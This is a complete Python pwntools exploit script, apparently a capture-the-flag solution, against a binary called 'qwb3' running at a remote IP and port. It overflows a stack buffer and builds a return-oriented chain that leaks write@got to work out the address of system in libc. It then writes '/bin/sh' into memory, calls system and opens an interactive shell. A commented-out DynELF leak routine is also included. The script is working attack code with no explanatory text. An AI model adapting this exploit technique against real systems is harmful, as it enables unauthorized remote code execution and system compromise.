#!/usr/bin/env python
from pwn import *

DEBUG = 0
main = 0x40049d
binsh_addr = 0x601300

if DEBUG:
    p = process("./bin/qwb3")
    offset = 0x9c6d0
else:
    p = remote("106.75.8.230", 19286)
    offset = 0x9cc20

def leak(addr):
    payload = 'a'*72
    payload += p64(0x400631) # pop rsi, pop r15, ret
    payload += p64(addr) 
    payload += 'b'*8
    payload += p64(0x4005b6) 
    p.sendline(payload)
    data = p.recv(8)
    log.debug("%#x => %s" %(addr, (data or '').encode('hex')))
    p.recv()
    return data

def exp():
    '''
    p.recvuntil("\n")
    d = DynELF(leak, main, elf=ELF('./bin/qwb3'))
    system_addr = d.lookup('system', 'libc')
    write_addr = d.lookup('write', 'libc')
    print "system_addr =>", hex(system_addr)
    print "offset =>", hex(write_addr - system_addr)
    p.interactive()
    '''
    p.recvuntil("\n")
    payload = 'a'*72
    payload += p64(0x400631) # pop rsi, pop r15, ret
    payload += p64(0x601018) #got_write
    payload += p64(0)
    payload += p64(0x400633) # pop rdi, ret
    payload += p64(1) 
    payload += p64(0x400450) # plt_write
    payload += p64(0x400631) # pop rsi, pop r15, ret
    payload += p64(binsh_addr) # buf
    payload += p64(0) #rbp
    payload += p64(0x400633) # pop rdi, ret
    payload += p64(0)
    payload += p64(0x400460) # r12 read@got
    payload += p64(0x40059d) # vuln_function
    raw_input("bp")
    p.sendline(payload)
    write_addr = u64(p.recv(8))
    system_addr = write_addr - offset
    print "system_addr =>", hex(system_addr)
    raw_input("bp2")
    p.sendline('/bin/sh'+'\x00')
    payload2 = 'a'*72
    payload2 += p64(0x400633)  #pop rdi, ret
    payload2 += p64(binsh_addr)  #
    payload2 += p64(system_addr)
    p.sendline(payload2)
    p.recv()
    p.interactive()

exp()